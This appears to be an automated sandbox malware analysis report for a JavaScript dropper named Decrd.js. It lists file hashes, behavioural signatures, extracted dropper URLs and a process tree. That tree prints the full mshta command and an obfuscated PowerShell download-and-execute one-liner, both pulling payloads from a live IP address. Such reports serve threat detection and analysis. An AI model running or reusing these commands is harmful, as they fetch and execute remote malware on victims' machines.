Analysis

  • max time kernel
    142s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-01-2024 15:04

General

  • Target

    Decrd.js

  • Size

    96KB

  • MD5

    6468ec2c43b826c943bbb0c79e219d77

  • SHA1

    570d3d519a7e80a85bb91b1ba3f617205ef6e403

  • SHA256

    ee85d1f8fa2c3d5c927bf3b547e8c4849e02185cc264a64d34ae8e896fc28616

  • SHA512

    58418b135e330499149098c678e89a9ce45ddc6c344b5f92f69729f93773b050c8de08f9afd2e6a33e5b478374d43a15d531da4d07df01f1bf6445a2ed4273d8

  • SSDEEP

    768:uAgOg2NONIp2NONIAgOg2NONI+2NONIAgOg2NONIRyqD732NONW2NONxONIgOv24:KyE+nKT72SVe

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.92.248.152/z

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.92.248.152/z/a.png

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Decrd.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2752
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd C:\Users\Admin\AppData\Local\Temp&&mshta http://91.92.248.152/z
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4356
      • C:\Windows\system32\mshta.exe
        mshta http://91.92.248.152/z
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:2332
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://91.92.248.152/z/a.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1012

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ul3xckff.ued.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1012-19-0x0000018073A20000-0x0000018073A42000-memory.dmp

    Filesize

    136KB

  • memory/1012-23-0x00007FFA200C0000-0x00007FFA20B81000-memory.dmp

    Filesize

    10.8MB

  • memory/1012-24-0x0000018059B10000-0x0000018059B20000-memory.dmp

    Filesize

    64KB

  • memory/1012-25-0x0000018059B10000-0x0000018059B20000-memory.dmp

    Filesize

    64KB

  • memory/1012-28-0x00007FFA200C0000-0x00007FFA20B81000-memory.dmp

    Filesize

    10.8MB